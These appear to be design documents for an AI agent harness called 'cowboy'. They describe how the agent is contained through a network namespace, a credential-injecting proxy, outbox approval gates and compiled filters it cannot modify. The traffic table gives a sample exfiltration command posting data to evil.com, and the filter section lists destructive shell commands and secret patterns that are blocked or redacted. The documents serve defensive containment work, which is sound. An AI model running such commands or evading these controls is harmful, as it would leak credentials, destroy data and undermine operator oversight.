Compiled Rust middleware pipeline: SecurityFilter, WorkspaceFilter, ApprovalFilter, AuditFilter. Agent cannot modify these at runtime.
Status: Nix module (nix/agents/filters.nix) defines options. Rust Filter trait and pipeline planned.
[[Nix Integration]]
Declarative configuration via NixOS modules:
services.agent.tools-- Tool definitions with JSON schemas, sandbox presetsservices.agent.skills-- Skill compositions with system prompt injectionservices.agent.filters-- Security configurationservices.agent.bridges-- Bridge service declarations (auto-generates pubsub + systemd)- Build-time manifest generation
Status: All Nix modules exist: tools.nix, skills.nix, filters.nix, sandbox.nix, pubsub.nix, bridges.nix, network.nix, secrets-proxy.nix, systemd.nix, user.nix, prompts.nix, pr-workflow.nix.
[[Approvals]]
Cross-service approval protocol. Outbox services hold messages for manual approval. Approval state in Redis hashes, notifications via configurable channel (default: Discord reactions).
Status: Nix options defined in pubsub.nix (approval submodule). Protocol documented. Discord reaction handling designed.
Core Components (Future)
[[Skills]]
Hierarchical skill system with cache-miss generation. Skills resolve transparently -- if missing, a sub-agent generates them. Workspace context.md files provide project-specific context.
[[Sub-Agents]]
Multi-pane orchestration via Zellij. File-based communication: prompt.md, conscious.md, response.md, lock.
[[Memory]]
zk-based zettelkasten for persistent knowledge. Daily journals, atomic facts, decisions/ADRs, wikilink-based retrieval.
[[Compaction]]
Context window management via Haiku sub-agent summarization at ~40k tokens.
[[Plan Mode]]
Read-only exploration before execution. Tool restrictions, produces plan + thinking artifacts, requires approval before execution.
[[Ralph Loop]]
Autonomous iteration pattern: PRD-driven decomposition, fresh context per iteration, quality gates, rollback on failure.
[[Self-Modification]]
Home-manager based capability evolution with heartbeat-protected switches and PR-gated dangerous changes.
Key Design Decisions
| Decision | Choice | Rationale |
|---|---|---|
| API transport | Native web_request() | No curl, no daemon overhead |
| Provider abstraction | Rust traits | Type-safe, swappable implementations |
| Settings | Nix only | Reproducible, validated at build time |
| Sub-agent comms | File-based | Observable, recoverable |
| Filters | Compiled Rust | Security boundary agent cannot modify |
| Sandbox | Bubblewrap | Per-tool, lightweight |
| Secrets isolation | Network namespace + proxy | Topology is the boundary, not rules |
| Message bus | Redis Streams | Proven, XREADGROUP consumer groups |
| Bridge architecture | Shared lib + independent packages | agent-bridge provides boilerplate, services are separate derivations |
| Agent name | Configurable cfg.name | Supports multiple agents per machine |
Package Layout
cowboy/
pkgs/agent-harness/ # Zellij WASM plugin (Rust)
pkgs/agent-proxy/ # Credential-injecting HTTPS proxy
pkgs/agent-bridge/ # Shared Python lib for bridge services
nix/agents/ # NixOS + home-manager modules
agent-pkgs/
pkgs/discord/ # Discord ingest + outbox service
pkgs/email/ # Email outbox with DKIM signing
References
- pi.dev architecture
- OpenClaw documentation
- Zellij plugin API
- Claude API tool use
- zk - Zettelkasten CLI
title: Security - Secrets Isolation tags: [security, secrets, networking, proxy, namespace, egress] library: cowboy
Security - Secrets Isolation
Privilege separation for agent secrets and egress control via network namespace isolation, a credential-injecting reverse proxy, and broker-owned outbox services with approval gates.
All three layers are implemented in cowboy. Bridge service packages (discord-service, email-service) live in agent-pkgs and interact only through Redis streams -- they never touch secrets directly.
Related: [[Approvals]], [[Filters]]
Influenced by: OpenClaw security model -- independent security layers, prevention over detection, single-operator trust model.
Two-Library Split
| Library | Contains | Secrets access |
|---|---|---|
| cowboy | Zellij WASM plugin (runtime), agent-bridge framework, agent-proxy (mitmproxy addon), NixOS modules (network.nix, secrets-proxy.nix, bridges.nix, sandbox.nix), home-manager config | Proxy holds secrets; bridge base class provides approval flow |
| agent-pkgs | Swappable bridge services (discord-service, email-service) implementing OutboxService.send() + authenticate() | Each service gets its own EnvironmentFile from agenix; secrets never cross into agent namespace |
Problem
The agent user (UID ${cfg.uid}, default 1338) must not receive real API keys:
- The agent can execute arbitrary tools (
bash,curl) that could exfiltrate secrets home-switchcould create rogue services with full network access- Outbox services running as the agent would let the agent control send policy
- Log redaction (compiled filters) is defense-in-depth, not a security boundary
Design
Three independent security layers:
| Layer | What | Controls | Agent can modify? |
|---|---|---|---|
| 1. Network namespace | Topology | Where traffic can go | No (system-level) |
| 2. Proxy | Method + credential policy | How traffic is handled | No (broker-owned) |
| 3. Outbox approval | Send policy | Whether messages get delivered | No (system services) |
The broker (configurable, default dylan) owns all secrets and egress policy. The agent runs in a network namespace with no direct internet access. All traffic egresses through a veth pair to a mitmproxy-based reverse proxy on the host.
Host namespace (broker + all other users)
+-------------------------------------------------------------------+
| eth0 / wlan0 -- full internet |
| |
| ${cfg.name}-proxy (mitmproxy addon, on veth-host, runs as |
| broker) |
| - mapped domains: inject auth headers, allow all methods |
| - allowlisted domains: allow POST (no injection) |
| - all other domains: GET only (browse, no exfil) |
| - audit log of all traffic to systemd journal |
| |
| bridge services (broker, system-level, |
| via ${cfg.name}-bridges.target) |
| ${cfg.name}-discord-{ping,ingest,outbox} |
| ${cfg.name}-email-{ping,ingest,outbox} |
| - approval policy is NixOS system config (agent can't modify) |
| - reads from Redis, decides send/hold per channel policy |
| |
| veth-host (10.200.0.1) -----+ |
+------------------------------+------------------------------------+
| veth pair
+------------------------------+------------------------------------+
| Agent namespace (${cfg.name}-ns) |
| | |
| veth-agent (10.200.0.2) ----+ |
| default route via 10.200.0.1 |
| lo (127.0.0.1) -- Redis |
| |
| DNS: resolv.conf -> host resolver (via veth) |
| |
| iptables -t nat OUTPUT |
| --dport 443 -j DNAT --to 10.200.0.1:${cfg.secretsProxy.port} |
| |
| user@${cfg.uid}.service: NetworkNamespacePath=/run/netns/... |
| (ALL agent user services inherit namespace -- home-switch safe) |
| |
| cowboy runtime (zellij) -- dummy keys only |
| Redis (message bus) -- no secrets in streams |
+-------------------------------------------------------------------+
Traffic Flow
| Agent does | Proxy rule | Result |
|---|---|---|
web_request("https://api.anthropic.com/...", POST) | Mapped domain | Inject x-api-key, forward |
web_request("https://api.openai.com/...", POST) | Mapped domain | Inject Authorization: Bearer, forward |
curl https://github.com/repo (GET) | Not mapped + GET | Passthrough, no injection |
curl -X POST -d @data https://evil.com | Not allowlisted + POST | BLOCKED (403) |
gh pr create | github.com allowlisted + POST | Passthrough |
nix shell nixpkgs#foo | Unix socket | Nix daemon (host namespace), not proxied |
redis-cli on 127.0.0.1:6379 | Loopback | Inside namespace, no proxy |
reply(email, "message") | Redis write | Outbox holds for approval |
reply(discord, "message") | Redis write | Outbox auto-sends |
| DNS lookup | UDP via veth | Host resolver, no proxy |
Method-Based Exfiltration Prevention
HTTP method as the exfiltration gate (no content inspection):
- GET to any domain: allowed. ~2KB URL query param limit makes bulk exfiltration impractical.
- POST/PUT/PATCH to allowlisted domains only: allowed.
- POST/PUT/PATCH to non-allowlisted: blocked (proxy returns 403).
services.agent.secretsProxy = {
domainMappings = {
"api.anthropic.com" = {
secretPath = "/run/agenix/anthropic-key";
headerName = "x-api-key";
};
"api.openai.com" = {
secretPath = "/run/agenix/open-ai-key";
headerName = "Authorization";
headerTemplate = "Bearer {secret}";
};
};
allowedPostDomains = [
"github.com"
"api.github.com"
"*.githubusercontent.com"
];
};
All domains in domainMappings are implicitly POST-allowed. allowedPostDomains adds extra domains without credential injection.
Why Network Namespace (not iptables + BPF)
A network namespace is opt-out security -- the agent has no interface to the internet. The only path out is the veth pair. Even if iptables inside the namespace are flushed, traffic still routes through the veth to the host proxy. The agent never has a direct path to external hosts.
Foolproof Property
| What breaks | Result | Secrets safe? | Data safe? |
|---|---|---|---|
| iptables DNAT inside namespace flushed | Traffic NATs through host -- dummy keys fail auth | Yes | Yes (no POST path) |
| Proxy is down | Connection to 10.200.0.1 refused | Yes | Yes |
| Agent sends crafted HTTP | POST to non-allowlisted blocked regardless of content | Yes | Yes |
| Namespace accidentally deleted | Agent has no network at all | Yes | Yes |
| Agent creates rogue service via home-switch | Service inherits namespace (user@${cfg.uid} namespaced) | Yes | Yes |
| Agent modifies outbox approval settings | Can't -- bridge services are system-level NixOS config | Yes | Yes |
| Agent writes directly to outbox Redis stream | Outbox service still applies approval policy | Yes | Yes |
Separation of Concerns
Agent owns: broker owns:
message content send policy (auto/approval)
channel selection credential injection
writing to Redis reading from Redis + sending
tool invocations method restrictions (GET/POST)
home-switch (own config) system services (bridges target)
Components (Implemented)
1. Network Namespace (nix/agents/network.nix)
Boot-time oneshot. Active when cfg.enable && proxyCfg.enable.
${cfg.name}-netnsservice: creates namespace, veth pair, DNAT rule, DNS resolv.confuser@${toString cfg.uid}dropin:NetworkNamespacePath,requires+afterthe netns servicenetworking.nat.internalInterfaces = [ "veth-host" ]- Firewall opens DNS (53/udp, 53/tcp) and proxy port on
veth-host
The namespace persists across agent restarts.
2. Reverse Proxy (nix/agents/secrets-proxy.nix + pkgs/agent-proxy/)
mitmproxy addon (agent_proxy/addon.py). The AgentProxy class:
- Loads Nix-generated JSON config from
AGENT_PROXY_CONFIG - Reads secrets from files at startup into memory
request()hook: blocks non-allowlisted POST/PUT/PATCH (403), injects headers for mapped domainsresponse()hook: audit logging to journal- Domain matching supports wildcards (
*.githubusercontent.com)
NixOS module (secrets-proxy.nix) provides:
${cfg.name}-bridges.target: groups proxy + all bridge services${cfg.name}-proxyservice: runs asbrokerUser,partOfthe bridges targetExecStartPre: generates mitmproxy CA on first runStateDirectory = "${cfg.name}-proxy"for CA cert/key- Hardened:
NoNewPrivileges,ProtectSystem = "strict",ProtectHome = true
Proxy config JSON (generated from Nix options):
{
"routes": {
"api.anthropic.com": {
"inject_header": "x-api-key",
"secret_file": "/run/agenix/anthropic-key",
"template": "{secret}"
}
},
"allowed_post_domains": [
"api.anthropic.com",
"github.com",
"api.github.com"
]
}
3. CA Certificate
Generated by mitmproxy's ExecStartPre on first run:
- Stored in
/var/lib/${cfg.name}-proxy/(owned bybrokerUser) - Agent's
SSL_CERT_FILEpoints to combined bundle (system CAs + proxy CA) - mitmproxy generates leaf certs on-the-fly per SNI hostname
Only the agent namespace trusts this CA.
4. Bridge Services (nix/agents/bridges.nix)
Declarative bridge abstraction. Each bridge declaration generates:
- pubsub source registration (stream, outbox, approval config)
- 3 systemd services:
${cfg.name}-${bridge}-{ping,ingest,outbox}
Convention: bridge packages (from agent-pkgs) expose ${bridge}-ping, ${bridge}-ingest, ${bridge}-outbox entry points.
services.agent.bridges.<name> = {
pkg = pkgs.<name>-service; # from agent-pkgs
env = "/run/agenix/<name>-env"; # agenix-managed secrets
approval.required = false; # per-bridge policy
approval.notify = "discord";
approval.timeout = 3600;
user = cfg.secretsProxy.brokerUser; # default
};
All bridge services:
after+requiresthe proxy servicepartOfthe bridges target- Receive
REDIS_URL=redis://10.200.0.2:6379(agent namespace Redis via veth) - Receive their
EnvironmentFilefrom agenix
5. Outbox Approval (pkgs/agent-bridge/agent_bridge/base.py)
OutboxService base class handles the full approval lifecycle. See [[Approvals]] for the protocol.
6. Sandbox (nix/agents/sandbox.nix)
Bubblewrap-based tool isolation (orthogonal to network namespace). Three levels:
none: direct execution with timeoutstandard: pid/uts/ipc isolation, ro nix-store/etc, rw homestrict: unshare-all, capability drop, seccomp filter
Generates ${cfg.name}-tool-${name} wrappers.
Concrete Bridge Configs
# nix/agents/project/discord.nix
services.agent.bridges.discord = {
pkg = pkgs.discord-service; # from agent-pkgs
env = "/run/agenix/discord-env";
user = proxyCfg.brokerUser;
# approval.required defaults to false (conversational)
};
# nix/agents/project/email.nix
services.agent.bridges.email = {
pkg = pkgs.email-service; # from agent-pkgs
env = "/run/agenix/email-env";
user = proxyCfg.brokerUser;
restartSec = 5;
approval = {
required = true; # hold for manual review
notify = "discord";
timeout = 3600;
};
};
File Map
| File | Library | Role |
|---|---|---|
nix/agents/network.nix | cowboy | Namespace + veth + user@${cfg.uid} binding |
nix/agents/secrets-proxy.nix | cowboy | Proxy service + module options + bridges target |
nix/agents/bridges.nix | cowboy | Declarative bridge abstraction |
nix/agents/sandbox.nix | cowboy | Bubblewrap tool isolation |
nix/agents/pubsub.nix | cowboy | Source/approval options, Redis backend, sources.json |
pkgs/agent-proxy/agent_proxy/addon.py | cowboy | mitmproxy addon: injection + method gating |
pkgs/agent-bridge/agent_bridge/base.py | cowboy | OutboxService ABC: read/approve/send loop |
pkgs/agent-bridge/agent_bridge/types.py | cowboy | OutboxMessage, SendResult dataclasses |
pkgs/agent-bridge/agent_bridge/redis_utils.py | cowboy | mk_redis(), load_config() |
nix/agents/project/discord.nix | deployment | Discord bridge config (uses agent-pkgs) |
nix/agents/project/email.nix | deployment | Email bridge config (uses agent-pkgs) |
Security Properties
- Agent never sees real API keys -- dummy values only, proxy injects on the wire
- Network topology is the boundary -- no internet interface, cannot be flushed
- All HTTPS passes through proxy -- API calls get credentials, browsing passes through
- Method-based egress control -- POST only to allowlisted domains, GET anywhere
- Outbox approval gates -- broker-owned policy, per-bridge (auto-send vs hold)
- Home-switch contained --
user@${cfg.uid}is namespaced, all services inherit - Three independent layers -- namespace, proxy, outbox; each fails independently
- Agent controls what, broker controls whether
- Fail-closed -- proxy down = no HTTPS, namespace gone = no network
- Compiled filters remain inner boundary -- namespace is the outer one
Verification
ip netns list # ${cfg.name}-ns
sudo ip netns exec ${cfg.name}-ns curl https://github.com # GET passthrough
sudo ip netns exec ${cfg.name}-ns \
curl -X POST https://httpbin.org/post # BLOCKED (403)
journalctl -u ${cfg.name}-proxy # audit trail
systemctl list-dependencies ${cfg.name}-bridges.target # all services
sudo -u ${cfg.user} cat /run/agenix/anthropic-key # permission denied
systemctl show "user@${cfg.uid}.service" | grep NetworkNamespace # bound
Agent System Design Patterns
Patterns discovered while building the agent infrastructure.
1. SUID Broker Pattern
When the agent needs to call a binary that reads secrets, use a compiled Rust binary with SUID β not a shell script (bash drops euid for SUID).
Key constraints:
- SUID wrappers sanitize the runtime environment, stripping env vars
- Bake all paths at compile time via
env!()macros: credential paths, config, CA certs - CA certs matter because
SSL_CERT_FILEgets stripped β bake both system roots and any proxy CA - Wrap with NixOS
security.wrappersas SUID, owned by the broker user - The agent process never sees secrets; the binary reads them from
/run/agenix/
Nix derivation pattern:
rustPlatform.buildRustPackage {
# ...
env.API_KEY_PATH = "/run/agenix/api-key";
env.CA_BUNDLE = "${cacert}/etc/ssl/certs/ca-bundle.crt";
};
#![allow(unused)] fn main() { const API_KEY_PATH: &str = env!("API_KEY_PATH"); const CA_BUNDLE: &str = env!("CA_BUNDLE"); }
Reference implementation: pkgs/namecheap/
2. Declarative Over Imperative
If state can be declared in Nix, it should be declared β not exposed as an agent tool. Prefer reconciliation services over API proxy tools.
Flow:
- Declare desired state as structured Nix options
- Generate config JSON at build time
- A systemd service reconciles declared state with the remote API
- Tools are reserved for inherently imperative operations (sending messages, running code, interactive queries)
Example β DNS records:
# Instead of a "call Namecheap API" tool:
services.namecheap.records = {
"home.example.com" = { type = "A"; value = "1.2.3.4"; };
};
A reconciliation service reads the generated config and calls setHosts. The agent never touches the API directly.
3. Permission-Separated Additive Configs
Split configuration by authority level so the agent can manage its own state without escalating privileges.
Two config layers:
| Layer | Controlled by | Applied via | Location |
|---|---|---|---|
system | Admin | snix | NixOS config |
agent | Agent | home-switch | Home-manager config |
Merge rules:
- Reconciliation service reads both configs and merges additively (union)
- System config wins on conflict β agent cannot shadow or remove system records
- Agent can only add, never subtract
Bridge mechanism:
A systemd path unit watches the agent's config file for changes and triggers the NixOS reconciliation service:
systemd.paths.namecheap-agent-watch = {
pathConfig.PathChanged = "/home/agent/.config/namecheap/records.json";
wantedBy = [ "multi-user.target" ];
};
This bridges the home-switch (unprivileged) to the system-level reconciliation service without granting the agent elevated access.
title: Filters tags: [filters, security, middleware, compiled]
Filters
Compiled Rust middleware that gates agent behavior. Filters form a security boundary that the agent cannot modify at runtime.
Architecture
Filters are compiled into the cowboy harness (Zellij WASM plugin). They execute before/after tool calls and after API responses. The agent has no mechanism to alter filter behavior -- they are part of the trusted codebase.
Filter Trait
#![allow(unused)] fn main() { pub trait Filter: Send + Sync { fn name(&self) -> &str; fn description(&self) -> &str; fn before_tool(&self, tool_name: &str, args: &Value) -> FilterAction; fn after_tool(&self, tool_name: &str, result: &mut String) -> FilterAction; fn after_response(&self, response: &mut String) -> FilterAction; } pub enum FilterAction { Allow, Block(String), RequireApproval(String), Transform(Value), } }
Pipeline
Filters compose in sequence. First non-Allow action short-circuits:
#![allow(unused)] fn main() { pub struct FilterPipeline { filters: Vec<Box<dyn Filter>>, } }
For before_tool, Block and RequireApproval short-circuit immediately. Transform actions accumulate -- each subsequent filter sees the transformed arguments. If any transforms occurred, the pipeline returns the final Transform(new_args).
For after_tool and after_response, filters mutate the result/response string in place. First non-Allow action short-circuits.
Built-in Filters
SecurityFilter
Blocks dangerous commands and redacts secrets from output.
Dangerous patterns blocked:
rm -rf /,rm -fr /(recursive delete from root)- Fork bombs (
:(){ :|:& };:) - Direct disk operations (
dd if=,mkfs, writes to/dev/sd*) shred /,chmod -R 777 /, boot overwrites,iptables -F
Secret patterns redacted (replaced with [REDACTED]):
- Anthropic API keys (
sk-ant-*) - OpenAI API keys (
sk-proj-*,sk-*) - Discord bot tokens and webhook URLs
- Exa API keys (UUID format)
- GitHub tokens (
ghp_,gho_,ghu_,ghs_,ghr_) - AWS access keys (
AKIA*) and secrets - Generic
api_key=,secret=,token=,password=patterns - Bearer tokens
- PEM private keys
WorkspaceFilter
Restricts file operations to allowed paths. Default allowed paths: /home/agent, /tmp, /var/tmp. Relative paths are always allowed (assumed relative to cwd).
Path checking uses canonicalize() to resolve symlinks before comparison.
AuditFilter
Logs all tool calls to an append-only JSONL file. Entries include timestamp, tool name, arguments (for before_tool) and truncated result preview (for after_tool). API responses are also logged (truncated to 500 chars).
Default Pipelines
#![allow(unused)] fn main() { // Standard: security + audit fn default_pipeline() -> FilterPipeline; // Restricted: security + workspace + audit fn restricted_pipeline(allowed_paths: Vec<PathBuf>) -> FilterPipeline; }
Nix Configuration
Filters are configured declaratively in the cowboy NixOS module. The Nix layer generates filters.json and shell-script wrappers (agent-filter, agent-audit-log) installed to ~/.config/agent/ and ~/.local/bin/.
services.agent.filters = {
security = {
enable = true;
blockedPatterns = [ "rm\\s+-rf\\s+/" ... ];
secretPatterns = [ "ANTHROPIC_API_KEY" ... ];
};
workspace = {
enable = true;
allowedPaths = [ cfg.homeDirectory "/tmp" "/nix/store" ];
};
audit = {
enable = true;
logPath = "${cfg.homeDirectory}/audit";
retentionDays = 30;
logLevel = "standard"; # minimal | standard | verbose
};
};
Audit log cleanup runs as a daily systemd timer, removing JSONL files older than retentionDays.
Two-Library Split
Filters are part of cowboy (the platform). They are compiled into the harness binary and configured via NixOS modules. agent-pkgs (bridge services like discord, email) do not interact with filters directly -- their outbound messages pass through the proxy/approval layer instead (see security.md).
Why Compiled Rust
- Security boundary -- agent cannot modify its own constraints
- Performance -- no runtime interpretation overhead in the WASM plugin
- Reproducibility -- same binary = same behavior (Nix builds)
- Audit -- filter code is version-controlled in the cowboy repo
Sub-Agents
Multi-pane orchestration using Zellij for full observability. Sub-agents are spawned as separate WASM plugin instances with file-based communication.
Design
Each sub-agent runs in its own Zellij pane as a separate cowboy plugin instance. The parent spawns via zellij action launch-plugin, passing configuration through a serialized config string. Communication is entirely file-based.
Principles
- Full observability -- each sub-agent is a visible Zellij pane
- File-based communication -- all state lives on disk (prompt.md, response.md, lock)
- Recovery --
scan_existing()re-discovers sub-agent state from disk after crash - Optional context inheritance -- via
contextparameter:"none"(fresh context, default),"summary"(summarizer-produced session summary), or"last_n"(system prompt + last 10 turns) -- configured with cheap models by default
Directory Structure
/home/agent/subagents/<type>-<uuid6>/
prompt.md # Task from parent (with YAML frontmatter: type, id, allowed_tools)
conscious.md # Working context (YAML frontmatter + markdown body)
response.md # Final output (written by sub-agent, triggers completion)
lock # Timestamp lock (exists while running)
tools.json # Filtered tool manifest for this sub-agent type
File Protocol
| File | Written By | Read By | Semantics |
|---|---|---|---|
prompt.md | Parent | Sub-agent | Initial task; loaded on first timer tick |
tools.json | Parent | Sub-agent | Subset of parent's tool manifest |
conscious.md | Sub-agent | Parent/observers | Live frontmatter: status, tokens_used, current_task, progress |
response.md | Sub-agent | Parent | Final result; presence + lock removal = completion |
lock | Sub-agent | Parent | Liveness signal; removal without response.md = failure |
Sub-Agent Types
Defined in SubAgentType enum. Each type restricts tool access:
| Type | Tools | Default Model |
|---|---|---|
| Research | read, search, find, web-search, ls | gpt-4o-mini / claude-3-5-haiku |
| Code | read, write, search, find, bash, ls, hashline-read, hashline-edit | gpt-4o-mini / claude-3-5-haiku |
| Review | read, search, find, bash, ls | gpt-4o-mini / claude-3-5-haiku |
Cost optimization: SubagentConfig::cheap_defaults() prefers OpenAI gpt-4o-mini, falls back to Anthropic haiku.
Lifecycle
- Parent calls
spawn_subagent(task, type)-- createsSpawnCommand - Parent writes
prompt.mdandtools.jsonviarun_sh(WASM can't write directly) - Parent launches plugin pane via
zellij action launch-pluginwith serialized config - Sub-agent loads -- on first timer tick, reads prompt.md + tools.json via
run_command, writes lock - Sub-agent works -- processes prompt as user message, updates conscious.md
- Sub-agent completes -- calls
submit_responsetool, which writes response.md, removes lock, closes pane - Parent detects completion via heartbeat polling (
check_subagent_status) and reads response.md - Parent injects result as
[Subagent Result: <id>]user message, continues conversation
Status Detection
Parent polls via shell command that checks all subdirectories:
lockexists -> Runninglockgone +response.mdexists -> Completedlockgone + noresponse.md-> Failed
Polling happens on heartbeat timer (every ~30s idle, ~0.3s active).
Recovery
SubAgentManager::scan_existing() walks the base directory, discovers sub-agents by presence of prompt.md, infers type from ID prefix, and determines status from lock/response files. This enables recovery after harness crash.
Cleanup
cleanup_completed() removes sub-agent directories older than 1 hour (CLEANUP_AGE_SECS = 3600).
Not Yet Implemented
- history/ directory for compaction snapshots (design doc mentioned, not in code)
- Sibling communication via inbox directories
- Tee-style buffering (ring buffer + async writer) -- infeasible in WASM/WASI environment
- PID-based liveness -- lock file uses timestamp instead (std::process::id unsupported in WASI)
Memory System
Zettelkasten-based persistent memory for the cowboy WASM plugin using the zk CLI. Provides cross-session knowledge persistence for facts, decisions, and daily journals.
Status
Fully implemented in src/memory.rs. Integrated into the harness session lifecycle: initialization, loading, recall, error remembering, and memory-augmented LLM prompts.
Architecture
Since cowboy runs as a WASM plugin (no direct process spawning), the memory module produces ZkCommand structs containing shell command arguments and environment variables. The main loop executes these via run_command() and routes results back through handle_memory_result().
Directory Layout
/home/agent/memory/
.zk/config.toml
daily/YYYY-MM-DD.md
facts/*.md
decisions/*.md
templates/
Core Operations
| Operation | Method | Description |
|---|---|---|
| init | ZkMemory::init() | Create directory structure, initialize zk |
| remember | ZkMemory::remember(title, content, template) | Create a fact or decision note |
| recall | ZkMemory::recall(query) | Full-text search via zk list --match |
| journal | ZkMemory::journal(entry) | Append timestamped entry to today's daily note |
| today | ZkMemory::today() | Get or create today's daily note |
| by_tag | ZkMemory::by_tag(tag) | Search notes by tag |
| recent | ZkMemory::recent(limit) | List recent notes sorted by modification time |
| get_related | ZkMemory::get_related(path) | Find notes linked to a given note |
| link | ZkMemory::link(from, to, text) | Create a wiki-link between notes |
Session Lifecycle
- Startup:
init_memory()creates the zk directory structure - Session init:
load_initial_memories()loads recent facts (last 10) - Per-turn:
recall_for_query()runs async recall based on the user's latest message - LLM dispatch:
format_memory_context()injects cached memories into the system prompt as a "Relevant Memories" section - Tool errors:
remember_error()auto-stores concise error summaries as facts - Summarization: Summarized tool outputs can be stored in memory (not full content)
Output Parsing
parse_zk_list_output() handles three formats:
- JSON array (standard
zk list --format json) - Newline-delimited JSON (JSONL)
- Simple path-per-line fallback
parse_note_path() extracts the created note path from command output.
Context Correlation
Each ZkCommand carries a context_key matching a MemoryOperation variant (remember, recall, journal, related, today, init). The handle_memory_result() handler uses this to route results: recall/load_recent updates cached_memories, journal updates today_journal, remember is logged.
Relationship to Two-Library Split
Memory is a cowboy feature -- it's platform infrastructure, not bridge-specific. The memory directory and zk config are managed by the agent home-manager module in cowboy/home/.
title: API Integration tags: [api, provider, web_request] updated: 2026-02-24
API Integration
Cowboy communicates with LLM providers through Zellij's WebAccess permission system. The provider layer formats requests and parses responses, while Zellij handles the actual HTTP transport asynchronously.
- Native
web_request()via Zellij's WebAccess permission (no curl needed) - Provider abstraction via Rust
LlmProvidertrait - Implementations for Claude, OpenAI
- Proxy-aware: when
secretsProxy.enable = true, the plugin sends dummy API keys; the agent-proxy injects real credentials on the wire (see [[Security]])
Architecture
The provider layer is split into formatting and parsing -- there is no synchronous complete() call. This matches Zellij's event-driven model:
format_request()produces(url, headers, body)forweb_request()- Zellij delivers
Event::WebRequestResultasynchronously parse_response()orparse_error()interprets the result
+------------------+ +------------------+ +------------------+
| AgentHarness | --> | LlmProvider | --> | web_request() |
| (send_to_llm) | | (format_request) | | (Zellij API) |
+------------------+ +------------------+ +------------------+
^ |
| +-------------+-------------+
WebRequestResult | |
| +----------------+ +----------------+
+---------- | ClaudeProvider | | OpenAIProvider |
+----------------+ +----------------+
When the secrets proxy is active, HTTPS traffic from the agent namespace is DNAT'd to the proxy on the host. The proxy injects real API keys based on domain mappings configured in services.agent.secretsProxy.domainMappings. The plugin only holds dummy keys (e.g., "PROXY_MANAGED").
LlmProvider Trait
The trait deliberately avoids async or Result-based complete(). Providers only know how to serialize requests and deserialize responses:
#![allow(unused)] fn main() { pub trait LlmProvider { fn name(&self) -> &str; fn format_request( &self, messages: &[Message], tools: &[Tool], system: &str, ) -> (String, BTreeMap<String, String>, Vec<u8>); fn parse_response(&self, body: &[u8]) -> Result<LlmResponse, ProviderError>; fn parse_error(&self, status: u16, body: &[u8]) -> ProviderError; } }
Message Model
Messages use string roles and structured ContentBlock vectors (not a Role enum or plain string content). This matches the Claude API's native content block model and supports text, tool_use, tool_result, and thinking blocks in a single message:
#![allow(unused)] fn main() { pub struct Message { pub role: String, // "user", "assistant" pub content: Vec<ContentBlock>, } pub struct ContentBlock { pub block_type: String, // "text", "tool_use", "tool_result", "thinking" pub text: Option<String>, pub thinking: Option<String>, pub id: Option<String>, pub tool_use_id: Option<String>, pub name: Option<String>, pub input: Option<Value>, pub is_error: Option<bool>, } }
Providers
ClaudeProvider
Targets Anthropic's Messages API (/v1/messages). Configuration is stored directly on the provider struct rather than passed per-request:
model: defaults toclaude-sonnet-4-20250514max_tokens: defaults to 8192thinking_enabled/thinking_budget: extended thinking support (enabled by default, 10k token budget)
OpenAIProvider
Supports both Chat Completions API and Responses API. The provider auto-selects the Responses API for reasoning models (o1, o3, o4, gpt-5, codex) to capture reasoning summaries. Reasoning summaries are mapped to thinking content blocks for unified handling.
model: defaults togpt-4obase_url: configurable for compatible APIsreasoning_effort: "low", "medium", or "high" for reasoning models
Request Flow in AgentHarness
send_to_llm() in llm.rs orchestrates the call:
- Acquires session lock (
try_acquire_llm) - Builds augmented system prompt with cached memories
- Converts internal
Messageto providerMessageviabuild_api_messages() - Calls
format_request()on the active provider - Issues
web_request()with contextcmd_ctx!("type" => "llm_request")
Response arrives via handle_llm_response() in handlers.rs:
- Releases LLM lock
- On non-200: calls
parse_error()and pushes error as assistant message - On 200: calls
parse_response(), extracts tool calls viaparse_tool_calls() - If tool calls present: queues them and begins execution
- If no tool calls and running as subagent: auto-submits response
- If no tool calls and pub/sub reply pending: sends reply
Error Handling
ProviderError variants include ParseError, ApiError, NetworkError, RateLimited, Timeout, InvalidRequest, AuthenticationError, and Overloaded. Each error knows if it is retryable via is_retryable().
A RetryState struct provides exponential backoff (1s initial, 30s max, 3 attempts), but retry orchestration at the harness level is minimal -- failed LLM calls currently surface as error messages rather than being automatically retried.
Retryable errors: rate limits (429), network errors, server errors (5xx), timeouts. Non-retryable: auth errors (401/403), client errors (4xx), parse errors.
Context Correlation
Request context uses BTreeMap<String, String> (via the cmd_ctx! macro), not a typed enum. The "type" key distinguishes request kinds: "llm_request", "exa_search", "summarization", "compaction".
Nix Configuration
services.agent.llm = {
provider = "claude"; # claude | openai | local
model = "claude-sonnet-4-20250514";
apiKeyPath = "/run/agenix/ai_key"; # ignored when secretsProxy.enable
};
When services.agent.secretsProxy.enable = true, the API key path is irrelevant -- the proxy handles credential injection.
Relevance to agent-pkgs
The provider abstraction is internal to cowboy. Bridge services in agent-pkgs (discord, email) interact with cowboy through the pub/sub source system, not through the LLM provider layer. Messages from bridge services arrive via poll_message_sources() and are processed as user input; responses flow back through send_pubsub_reply().
Status vs. Design Doc
The original design doc proposed:
- A synchronous-looking
complete()method -- not implemented; the actual trait usesformat_request()/parse_response()split RequestConfigstruct passed per-call -- not implemented; config lives on provider structsRoleenum for messages -- not implemented; string roles withVec<ContentBlock>ApiStatestate machine withpending_requestsHashMap -- not implemented; context correlation usesBTreeMapvia Zellij eventsLlmClientwrapper -- not implemented- Elaborate retry scheduling in the harness update loop -- partially implemented (
RetryStateexists, but auto-retry on LLM calls is not wired up)
Implemented but not in original design:
- Extended thinking support (Claude and OpenAI reasoning summaries)
- OpenAI Responses API for reasoning models
- Tool use as first-class content blocks
- Summarization pipeline using a separate LLM call
- Session locking around LLM calls
- Memory augmentation of system prompts
Related
- [[Security]] -- Secrets proxy and credential injection
- [[Context Engineering]] -- Prompt caching and token budget
- [[Nix Integration]] -- Provider configuration via Nix modules
title: Outbox Approval Protocol tags: [security, pubsub, approval, discord, email] library: cowboy
Outbox Approval Protocol
Cross-service approval flow for broker-owned outbox services. Any outbox service can hold messages for manual approval before sending. Approval notifications and responses route through a configurable channel (default: Discord).
This protocol is implemented in cowboy's agent-bridge package. Bridge services in agent-pkgs consume it without needing to know how approval works internally.
Related: [[Security]]
Flow
Agent (${cfg.name}-ns) Broker services (host namespace)
ββββββββββββββββββββββ βββββββββββββββββββββββββββββββ
1. Agent composes email
|
+-- XADD email:outbox
| channel_id: alice@example.com
| subject: "Re: meeting"
| content: "Sounds good..."
|
| 2. ${cfg.name}-email-outbox reads stream
